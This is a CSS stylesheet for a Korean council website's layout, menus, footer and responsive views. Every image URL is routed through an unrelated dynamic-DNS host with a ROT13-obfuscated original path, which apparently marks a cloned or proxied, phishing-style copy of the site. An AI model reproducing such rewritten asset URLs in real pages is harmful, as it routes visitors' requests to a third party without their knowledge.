@charset "utf-8";
/**
공통 레이아웃
*/
.m{display:none;}

body{width:100%; min-width:320px; overflow-x:hidden;}

#skip-navigation{z-index:9999; position:absolute; left:0; top:0;}
#skip-navigation *{list-style:none; margin:0; padding:0;}
#skip-navigation a{display:block; width:1px; height:1px; overflow:hidden; color:#000; white-space:nowrap;}
#skip-navigation a:focus,
#skip-navigation a:active{width:100px; height:auto; background:#ffd;}

.inner{position:relative; width:1200px; margin:0 auto;}

#top{width:100%; height:44px; background:#e8e8e8;}
#top:before{content:''; display:block; clear:both;}
#top .global{float:left;}
#top .global > li{position:relative; float:left; border-left:1px solid #e8e8e8; width:159px;}
#top .global > li > a{display:block; height: 44px; line-height:44px; color:#f6f6f7; text-transform:uppercase; font-size:16px; background:#36455c; text-align:center; overflow:hidden;}
#top .global > li > a.current{color:#3b3b3b; background:#fff;}
#top .global > li > a img{margin-right:5px;}
#top .global > .list > a.on{color:#fff; background:#637EA8;}
#top .global li div{display:none; z-index:95; position:absolute; top:44px; left:-1px; width:101%; padding:0 8px; background:#d0d9e6; box-sizing:border-box; border:2px solid #88AEE8; border-top:none; border-radius:0 0 4px 4px; text-align:center;}
#top .global li div a{display:block; height:44px; line-height:44px; font-size:97%; border-top:1px dashed #6db4fc;}
#top .global li div li:first-child a{border-top:none;}

#top .global2{float:right; padding:12px 0 0 0;}
#top .global2 li{float:left; padding:0 1.5em; line-height:100%; border-left:1px solid #9e9e9e;}
#top .global2 li:last-child{padding-right:0;} 
#top .global2 li a{color:#4c4b4b;}
#top ul li:first-child{border-left:none;}

#search {z-index:97; position:absolute; top:113px; right:0;}
#search .btn_search{display:block; width:63px; height:58px; text-indent:-999px; font-size:0; background:#4c809d url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Spbzzba%2Svpb_hgvy.cat") no-repeat 19px -128px;}
#search .btn_search:hover,
#search .btn_search:active,
#search .btn_search:focus{background-color:#406B83;}
#search .btn_search.on{background-position:22px -193px;}
#search form{display:none; position:absolute; top:59px; right:0; height:85px; width:1200px; background:rgba(0,0,0,0.35);}
#search fieldset{display:block; padding:23px 0 0 0; text-align:center;}
#search input[type="text"]{float:none; display:inline-block; height:40px; width:70%; margin:0 5px 0 0; padding:0 0 0 1em; line-height:40px; border:none; border-radius:20px;}
#search button{width:60px; height:40px; color:#fff; vertical-align:top; background:#233581; border-radius:5px;}

#header{position:relative; height:171px;}
.logo {z-index:11; position:absolute; top:40px; left:0; font-size:28px; line-height:38px; letter-spacing:-2px; font-weight:normal;}
.logo_img {margin-top:-13px;}
.logo *{display:inline-block; vertical-align:top;}
.logo a{text-decoration:none;}
.logo span{padding:0 0 0 5px;}

#font_control {float:right; padding:36px 0 37px;}
#font_control ul{overflow:hidden; width:100%;}
#font_control li{float:left; width:42px; height:37px; line-height:37px; font-size:11px; text-align:center; border:1px solid #d6d6d6; border-left:none;}
#font_control li:first-child{color:#555; border-left:1px solid #d6d6d6;}
#font_control li a{display:block; height:37px; line-height:37px;}
#font_control li.btns a{text-indent:-999px; font-size:0; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Spbzzba%2Svpb_hgvy.cat") no-repeat 14px 11px;}
#font_control li.big a{background-position:16px -38px;}
#font_control li.small a{background-position:17px -82px;}
#font_control li a:hover{background-color:#f9f9f9;}

/* 메인메뉴 */
#menuArea{position:absolute; left:0; top:156px; width:100%; z-index:94; background:#fff; opacity:0.97; border-top:1px solid #cdcdcd; border-bottom:1px solid #cdcdcd;}
#menuArea .line{display:none; position:absolute; top:58px; left:0; width:100%; height:1px; background:#cdcdcd;}
#mainmenu{height:58px; width:100%; margin:0 auto; background-color:#36455c;}
#topmenu{float:left; width:100%; padding:0 63px 0 0; box-sizing:border-box;}
#topmenu > li{position:relative; float:left; width:12.5%; line-height:0;}
#topmenu li.menu9,
#topmenu li.last{display:none;}
#topmenu > li > a{display:block; font-size:19px; line-height:58px; text-align:center; letter-spacing:-1px; text-decoration:none; z-index:97; color:#fff;}
#topmenu > li > a:before{content:''; position:absolute; top:0; left:50%; display:block; width:0; height:3px; background:#fff; transition:0.3s;}

#topmenu > li:hover > a:before,
#topmenu > li > a:hover:before,
#topmenu > li > a:active:before,
#topmenu > li > a:focus:before,
#topmenu > li.current_on > a:before{left:0; width:100%; padding:0 0 0 50%;}

#topmenu li .menu{display:none; z-index:96; position:absolute; top:58px; left:0; width:100%; height:360px; box-sizing:border-box; border-right:1px solid #cdcdcd;}
#topmenu > li > .menu > ul{display:block !important; position:absolute; top:1px; left:0; width:100%; height:344px; padding:15px 0 0 0;}
#topmenu li:first-child .menu{border-left:1px solid #cdcdcd;}

#topmenu li ul li{float:none; width:100%;}
#topmenu li ul li a{display:block; margin:0 0 10px 0; padding:0 3px 0 7px; color:#151515; text-align:left; line-height:120%;}

#topmenu li li a:hover,
#topmenu li li a:active,
#topmenu li li a:focus,
#topmenu li li.current_on a{color:#305299;}

#topmenu li:focus .menu ul,
#topmenu li:hover .menu ul{background:#f8f8f8;}
#topmenu ul ul{display:none !important;}

/* 하단*/
.linksite{clear:both; width:100%; background:#36455c; font-size:15px;}
.linksite:after{content:''; display:block; clear:both;}
.linksite .inner > li{position:relative; float:left; width:25%; box-sizing:border-box; border-right:1px solid #9ba2ae;}
.linksite .inner > li:first-child{border-left:1px solid #9ba2ae;}
.linksite .inner > li > a{display:block; height:35px; line-height:35px; padding:0 0 0 1em; color:#fff; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Spbzzba%2Sot_ohyyrg.cat") no-repeat 98% -533px;}
.linksite .inner > li > a:hover,
.linksite .inner > li > a:focus,
.linksite .inner > li > a:active{background-color:#273242;}
.linksite .inner > li > a.on{background:#273242 url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Spbzzba%2Sot_ohyyrg.cat") no-repeat 98% -571px;}
.linksite li div{display:none; z-index:56; position:absolute; bottom:35px; left:0; width:100%; padding:0.8em; box-sizing:border-box; border:1px solid #9ba2ae; border-bottom:none; background:#3D4F69;}
.linksite li.on div{display:block;}
.linksite li div ul{width:100%; overflow-y:auto; max-height:350px; min-height:120px; padding:0.5em 0 0.5em 1em; background:#fefefe; box-sizing:border-box;}
.linksite li div ul li{position:relative; display:inline-block; width:49%; padding:2px 0 2px 5px; box-sizing:border-box; vertical-align:top;}
.linksite li div ul li:before{content:''; display:block; position:absolute; top:12px; left:0; width:3px; height:3px; background:#555;}
.linksite li #linksite03 ul li{width:100%;}

#footer{padding:1.3em 0 2em; font-size:14px; color:#555; letter-spacing:-0.5px; background-color:#f0f3f8;}
#footer .link{width: 100%;margin:0 0 7px 0;}
#footer .link li{display:inline-block; padding:0 1em 0 1.3em; line-height:100%; font-weight:bold; border-left:1px solid #919191;}
#footer .link li:first-child{padding-left:0; border-left:none;}
#footer .link li a{color:#333;}
#footer .link li.txtBlue a{color:#fff;}
#footer .copyright{line-height:120%;}
#footer address{margin:0 0 7px 0; line-height:130%; color:#555;}
#footer .foot_logo {display:inline-block; float:left; line-height:70px; margin-right:35px;}

/*
서브 레이아웃
*/
/* 문서정보 */
#subVisual{position:relative; overflow:hidden; clear:both; width:100%; background:#e7eff6;}
#subVisual .img{width:100%;min-height:240px;background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Svzt_ivfhny.cat") center no-repeat;background-size:cover;text-indent:-99999px;}
/* #subVisual .img img{animation:ani_zoom 10s ease-in-out;} */
#subVisual .slogan{position:absolute; width:26.9270%; height:34.583%; left:0; right:0; top:0; bottom:0; margin:auto;}


@keyframes ani_zoom{
	0%{transform:scale(1);}
	50%{transform:scale(1.13);}
}

#subContent{position:relative; overflow:hidden; max-width:1200px; margin:3.5em auto 0 auto; padding:0 0 5em 0; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Spbzzba%2Sot_fho.tvs") repeat-y;}
#subContent #content{float:right; width:77.5%;}

/* 서브메뉴 */
#submenu{float:left; width:218px; border:1px solid #bebebe; border-top:none;}
#submenu .sm_tit{width:100%; height:138px; font-size:29px; position:relative; text-align:center; letter-spacing:-1px; line-height:138px; color:#fff; background:#5a88c7;}
#submenu .sm_bg1{width:100%; height:138px; font-size:29px; position:relative; letter-spacing:-1px; line-height:138px; color:#fff; background:#5a88c7;}
#submenu .sm_bg1 h2 {text-align:right; padding-right:40px;}
#submenu .sm_bg2 h2 {text-align:right; padding-right:30px;}
#submenu .sm_bg3 h2 {text-align:right; padding-right:20px;}
#submenu .sm_bg4 h2 {text-align:right; padding-right:30px;}
#submenu .sm_bg5 h2 {text-align:right; padding-right:40px;}
#submenu .sm_bg6 h2 {text-align:right; padding-right:13px;}
#submenu .sm_bg7 h2 {text-align:right; padding-right:26px;}
#submenu .sm_bg8 h2 {text-align:right; padding-right:24px;}
#submenu h2 .snb_icon{position:absolute; top:40px; left:20px; width:80px;height:70px;background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Sot_vpb_yg.cat")}
#submenu .sm_bg1 h2 .snb_icon{background-position:20px 0;}
#submenu .sm_bg2 h2 .snb_icon{background-position:-93px 5px;}
#submenu .sm_bg3 h2 .snb_icon{background-position:-198px 6px;}
#submenu .sm_bg4 h2 .snb_icon{background-position:-288px 3px;}
#submenu .sm_bg5 h2 .snb_icon{background-position:-384px 7px;}
#submenu .sm_bg6 h2 .snb_icon{background-position:-499px 4px;}
#submenu .sm_bg7 h2 .snb_icon{background-position:-595px 7px;}
#submenu .sm_bg8 h2 .snb_icon{background-position:-685px 5px;}
#submenu .depth2 li{line-height:0;}
#submenu .depth2 li a{display: flex;align-items: center;height: 58px;padding: 0 50px 0 20px;font-size:18px;color:#484848;line-height: 1.2;border-top:1px solid #bebebe;text-decoration:none;}
#submenu .depth2 > li > a:hover,
#submenu .depth2 > li > a:focus,
#submenu .depth2 > li > a:active,
#submenu .depth2 > li.current_on > a{position:relative; background-color:#f6f6f6; color:#333; font-weight:bold;}
#submenu .depth2 > li.blue > a:hover,
#submenu .depth2 > li.blue > a:focus,
#submenu .depth2 > li.blue > a:active,
#submenu .depth2 > li.current_on.blue > a {position:relative; color:#fff; font-weight:bold; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Sfho_ba_ot.wct")  no-repeat;}

#submenu .depth2 > li > a:hover:after,
#submenu .depth2 > li > a:focus:after,
#submenu .depth2 > li > a:active:after,
#submenu .depth2 > li.current_on > a:after{content:''; display:block; width:23px; height:19px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Svpba_purpx.cat") center no-repeat; position:absolute; right: 20px; top:0; bottom:0; margin:auto;}

#submenu .depth2 > li.current_on.none > a:after{ display: none; }

#submenu .depth2 li ul {display:none; padding:20px; border:1px solid #e8e8e8; border-top:1px solid #bebebe; background:#e8e8e8; margin-left:-1px; margin-right:-1px;}

#submenu .depth2 li.current_on ul,
#submenu .depth2 li:hover ul,
#submenu .depth2 li:focus ul,
#submenu .depth2 li:active ul{display:block;}

#submenu .depth2 li ul li a{position:relative; padding:0; font-size:100%; line-height:100%; color:#3d3d3d; border-top:none; margin-bottom:15px; letter-spacing: -1px;}
#submenu .depth2 li ul li:last-child a{margin-bottom:0;}
#submenu .depth2 li ul li a:before{/*content:''; display:block; position:absolute; top:13px; left:0; width:3px; height:3px; border:1px solid #888;*/}
#submenu .depth2 li ul li a:hover,
#submenu .depth2 li ul li a:focus{color:#5a88c7;}
/*#submenu .depth2 li ul li a:active,
#submenu .depth2 li ul li.current_on a*/
#submenu .depth2 li ul li a:hover:after,
#submenu .depth2 li ul li a:focus:after,
#submenu .depth2 li ul li a:active:after,
#submenu .depth2 li ul li.current_on a:after{content:''; display:block; width:23px; height:19px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Svpba_purpx.cat") center no-repeat; position:absolute; right: 0px; top:0; bottom:0; margin:auto;}
#submenu .depth2 li ul li a:hover:before,
#submenu .depth2 li ul li a:focus:before,
#submenu .depth2 li ul li.current_on a:before{/*border-color:#f87a16; background:#f87a16;*/}

/* 문서정보 */
#location{overflow:hidden; width:100%; margin-top:-25px; margin-bottom:40px;}
#location .inner{background-color:#fcfcfc; border: 1px solid #bebebe;}
#location .inner:after{content:""; display:block; clear:both;}
#location a{float:left; width:75px; height:48px; text-indent:-999px; font-size:0; border-left:1px solid #e5e5e5; border-right:1px solid #e5e5e5; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Svpba_ubzr.cat") no-repeat center;}
#location span{position:relative; float:left; min-width:152px; height:48px; line-height:48px; padding:0 30px; border-right:1px solid #cecece; vertical-align:top; font-size:16px;}
#location span:after{content:''; display:block; position:absolute; top:0; right:30px; width:21px; height:100%; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Sfho%2Svpba_neebj.cat") no-repeat right center;}
#location span.end:after{width:10px; background-position:0 -55px;}

#pageInfo {margin-bottom:37px;}
#pageTitle h3{position:relative; line-height:150%; font-size:33px; color:#1f1f1f; font-weight:400; padding-top:26px; padding-bottom:11px;}
#pageTitle h3:after{content:''; width:42px; height:1px; background-color:#679adf; position:absolute; left:0; bottom:-1px;}


@media all and (max-width:1200px) {
	.inner,
	#mainmenu{width:98%;}

	#search fieldset{padding:23px 120px 0 0; text-align:right;}
	
	#subContent{width:98%; background-size:202px auto;}
	#subVisual .slogan{text-align:right;}
	#subVisual .slogan p{font-size:27px;}
	#subVisual .slogan span em{font-size:32px;}
	#submenu{width:200px;}
}
@media all and (max-width:1024px) {
	img{max-width:100%;}
	.m{display:block;}
	.w{display:none;}

	.logo{top:17px; width:100%; text-align:center; letter-spacing:-1.5px; font-size:23px; font-weight:bold;}
	.logo span{padding:0;}
	.logo img{height:31px; padding:4px 0 0 0;}

	#header{height:70px;}
	#bg_main #header{border-bottom:1px solid #ddd;}

	#top{height:35px; font-size:15px;}
	#top .global > li > a{height:35px; line-height:35px;}
	#top .global2{padding:10px 0 0 0;}
	#top .global2 li{padding:0 0.7em;}
	#top .global li div{top:35px;}

	#search{top:5px; width:100%;}
	#search .btn_search{z-index:98; position:absolute; top:10px; right:0; width:40px; height:40px; border-radius:3px; background-size:25px auto; background-position:7px -124px;}
	#search .btn_search.on{background-position:11px -185px;}
	#search form{width:100%; top:65px; right:0;}
	#search fieldset{padding:23px 60px 0 0; text-align:center;}
	#search input[type="text"]{width:90%; margin:0; border-radius:0;}
	#search button{z-index:55; position:absolute; top:23px; right:3%; border-radius:0;}

	/* 모바일 메뉴 */
	.mask{display:none; position:fixed; top:0; left:0; width:100%; height:100%; background-color:rgba(0,0,0,0.6); z-index:95;}
	.m_top .global {display:none; float:left; width:100%; border-bottom:1px solid #6680b9;}
	.m_top .global > li{position:relative; float:left; width:60%; border-left:1px solid #6680b9; box-sizing:border-box;}
	.m_top .global > li.list2{width:40%;}
	.m_top .global > li > a{display:block; line-height:32px; color:#f6f6f7; background:#405d9e; text-align:center;}
	.m_top .global > li > a.on{background:#6980b3;}
	.m_top .global li div{display:none; z-index:97; position:absolute; top:32px; left:-1px; width:101%; padding:0 8px; background:#5b74ac; box-sizing:border-box; border:1px solid #d7d7d7; border-top:none; border-radius:0 0 4px 4px;}
	.m_top .global li div a{display:block; height:35px; line-height:35px; font-size:97%; color:#fff; text-align:center; border-top:1px dashed #98a8cb;}
	.m_top .global li div li:first-child a{border-top:none;}

	.btn_menu{display:block; z-index:94; position:absolute; top:51px; left:10px;  width:40px; height:40px; padding:0 8px; border-radius:3px; background:none;} 
	.btn_menu .bar{display:block; width:100%; height:3px; margin:4px 0 4px 0; background:#384a7a;}

	.btn_menu_close{display:block; z-index:94; position:absolute; top:27px; right:3%; width:50px; height:50px; border-radius:50%; border:1px solid #d8e3f2; background:none;}
	.btn_menu_close .bar{position:absolute; top:24px; left:12px; display:block; width:25px; height:1px; background:#d8e3f2;}
	.btn_menu_close .bar1{transform:rotate(45deg);}
	.btn_menu_close .bar2{transform:rotate(-45deg);}

	.m_menu{position:absolute; top:0; left:-100%; width:60%; height:100%; z-index:99; background:#343d5d;}
	.m_menu .m_top{position:relative; height:106px;}
	.m_menu .logo{top:35px; left:2%; width:98%; text-align:left;}
	.m_menu .logo a{color:#fff;}
	.m_menu > ul{float:left; width:100%;}
	.m_menu > ul a{display:block; text-decoration:none; cursor:pointer;}
	.m_menu > ul > li{border-bottom:1px solid #343d5d;}
	.m_menu > ul > li > a{height:3em; line-height:3em; color:#fff; font-size:130%; padding:0 0 0 1em; background:#5B6380 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Spbzzba%2Sohy_zrah.cat) no-repeat 95% -27px;}
	.m_menu > ul > li > .on{background-color:#657dd5; background-position:95% 20px;}
	.m_menu > ul > li > div {display:none; padding:1.3em 0.8em 0.7em 1.2em; background:#e4f1fd;}
	.m_menu > ul > li .on + div{display:block;} 
	.m_menu > ul > li > div > ul > li {margin:0 0 0.8em 0;}
	.m_menu > ul > li > div > ul > li > a{position:relative; padding:0 0 0 1.2em; font-size:115%;}
	.m_menu > ul > li > div > ul > li > a:before{content:''; display:block; position:absolute; top:6px; left:0.2em; width:13px; height:13px; border:4px solid #527eb8; border-left:4px solid #1b4a93; border-top:4px solid #114392;}
	.m_menu > ul > li > div > ul > li > ul{overflow:hidden; width:100%; margin:0.1em 0 0 0; padding:0.5em 0 0.5em 0.5em; box-sizing:border-box; border:1px solid #e6e6e6; border-radius:5px; background:#fff;}
	.m_menu > ul > li > div > ul > li > ul li{float:left; width:50%;}
	.m_menu > ul > li > div > ul > li > ul li a{position:relative; padding:2px 0 2px 8px;}
	.m_menu > ul > li > div > ul > li > ul li a:before{content:''; display:block; position:absolute; top:50%; left:2px; width:3px; height:3px; background:#4387d8;}

	#subContent{width:98%; padding:0 0 3em 0; background:none;}
	#subContent #content{float:none; width:100%;}

	#location{margin-top:0px; margin-bottom:0px;}
	#location span{height:34px; line-height:34px; padding:0 10px 0 0; min-width:0; border-right:none;}
	#location span:after{right:0px; position:relative; float:right; right:0px; margin-left:5px;}
	#location span.end:after{display:none;}
	#location a{width:34px; height:34px; border-left:none; border-right:none; padding:0 10px 0 0;}
	
	#pageTitle h3{padding:0.5em 0 0.8em 0; font-size:29px;}
}
@media all and (max-width:768px) {
	#top{height:32px;}
	#top .global > li > a{line-height:32px; height:32px;}
	#top .global li div{top:32px;}
	#top .global li div a{height:31px; line-height:31px;}
	#top .global2{padding:9px 0 0 0;}
	#top .global2 li{padding:0 0.5em;}
	#top .global2 li:first-child{display:none;}
	#top .global2 li:nth-child(2){border-left:none;}

	#header{height:50px;}
	.logo{top:19px; font-size:20px;}
	.logo img{height:25px; padding:6px 0 0 0;}

	#search form{top:45px;}
	#search .btn_search{top:3px; width:33px; height:33px; background-size:22px auto; background-position:6px -110px;}
	#search .btn_search.on{background-position:8px -164px;}

	.btn_menu{top:42px; width:33px; height:33px; padding:0 5px;}
	.btn_menu .bar{margin:3px 0;}
	.btn_menu_close{top:23px; width:34px; height:34px;}
	.btn_menu_close .bar{top:15px; left:4px;}
	
	.m_menu .m_top{height:82px;}
	.m_menu .logo{top:22px;}
	.m_menu > ul > li > a{padding:0 0 0 0.7em; font-size:16px; background-size:17px auto; background-position:94% -17px;}
	.m_menu > ul > li > .on{background-position:94% 17px;}
	.m_menu > ul > li > div{padding:0.6em 0.7em 0.5em 0.7em;}
	.m_menu > ul > li > div > ul > li{margin:0 0 0.3em 0;}
	.m_menu > ul > li > div > ul > li > a{font-size:15px; background-size:13px;}
	.m_menu > ul > li > div > ul > li > ul{padding:0.4em 0 0.4em 0.4em;}
	.m_menu > ul > li > div > ul > li > ul li a{padding:0 0 0 8px; font-size:14px;}
	
	#location .inner{font-size:14px;}
	#location span{height:28px; line-height:28px;}
	#location span:after{}
	#location a{height:28px;}

	#pageTitle h3{padding:0.4em 0 0.6em 0; font-size:24px;}

	#footer{padding:15px 0 1.5em;}
	#footer .link{margin:0 0 10px 0;}	
	#footer .link li{padding:0 0.5em 0 0.4em; margin:0 0 0.4em 0;}
	#footer .foot_logo{float:none; margin-bottom:10px; margin-right:0; }

	.linksite li div ul{padding:0.5em 0.2em 0.5em 0.5em;}
	.linksite li div ul li{width:100%;}

	/* 20190307 지혜승 추가 Start */
	/* top */
	#top .global > li.language,
	#top .global > li.sns { display: none; }
	#top .global > li > a { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
	#top .global > li > a img { display: none; }
	/* 20190307 지혜승 추가 End */
}

@media all and (max-width:568px) {
	
	#top .global > li {width:129px;}

	.m_menu{width:290px;}
	.m_menu > ul > li > a{background-position:92% -17px;}
	.m_menu > ul > li > .on{background-position:92% 17px;}

	#pageTitle h3{padding:0.4em 0; font-size:22px;}
	
}
@media all and (max-width:450px) {
	#top{font-size:14px;}
	#top .global{width:80%;}
	#top .global > li {width:33.3%; box-sizing:border-box;}
	#top .global > li > a{padding:0; text-align:center;}
	#top .global li div{width:102%; padding:0 5px;}
	#top .global li div a{font-size:95%;}
	#top .global2 li{padding:0;}
	#top .global2 li:nth-child(2){display:none;}
	#top .global2 li:nth-child(3){border-left:none;}

	#footer {text-align:center;}
	#footer address span{display:block; white-space:pre;}
	#footer .copyright{font-size:11px;}

	.linksite .inner > li{width:100%; border-left:1px solid #76797f; border-top:1px solid #76797f;}
	.linksite .inner > li:first-child{border-top:none;}
	.linksite li div ul li{width:48.5%;}

}
@media all and (max-width:400px) {
  #location span{}
  #location span.end{}
  #location span:after{}
}
@media all and (max-width:350px) {
	#top .global li div{padding:0 3px;}
}

/* 날씨 Start */
#weather { float: right; width: 240px; box-sizing: border-box; padding: 13px 0; }
#weather .wrap:after { content: ''; display: block; clear: both; }
#weather .wrap .left { float: left; width: 100px; text-align:center; font-size:14px;}
#weather .wrap .left ul li .txt { font-size: 13px; margin-top: 5px; }
#weather .wrap .right { float: right; width: 140px; box-sizing: border-box; }
#weather .wrap .right .txt1 { color: #333; display: block;line-height: 28px; padding: 15px 0 0 0; }
#weather .wrap .right .txt1 .big { font-size: 28px; }
#weather .wrap .right .txt1 .small { font-size: 18px; }
#weather .wrap .right .txt2 { color: #555; font-size: 14px; line-height: normal; }
@media all and (max-width: 1024px) {
	#weather { display: none; }
}
/* 날씨 End */

/* 운영시간 및 휴게시간 */
#footer .time {position:absolute;top: 0;right:0;padding: 10px 20px;width:297px;height:76px;border:1px solid #bfd1fc;border-radius: 10px;box-sizing:border-box;}
#footer .time ul{position:relative;padding: 0 0 0 60px;font-family:'score';font-size:13px;line-height: 1.4;text-align: left;}
#footer .time ul:after {content:''; display:block; position:absolute; top:50%; left:0; transform:translateY(-50%); width:38px; height:38px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.obrha.tb.xe%2Svzntrf%2Sxe%2Spbzzba%2Svpb_gvzr.cat)no-repeat;}
#footer .time li {position:relative; padding:0 0 0 59px;}
#footer .time em {position:absolute; top:0; left:0; font-weight:500; color:#4869bc;}

@media all and (max-width:1024px) {
	#footer .time {position:static; margin:15px 0 0 220px;}
}
@media all and (max-width:768px){
	#footer .time {margin:15px 0 0;}
}
@media all and (max-width:450px){
	#footer .time {margin: 15px auto 0;}
}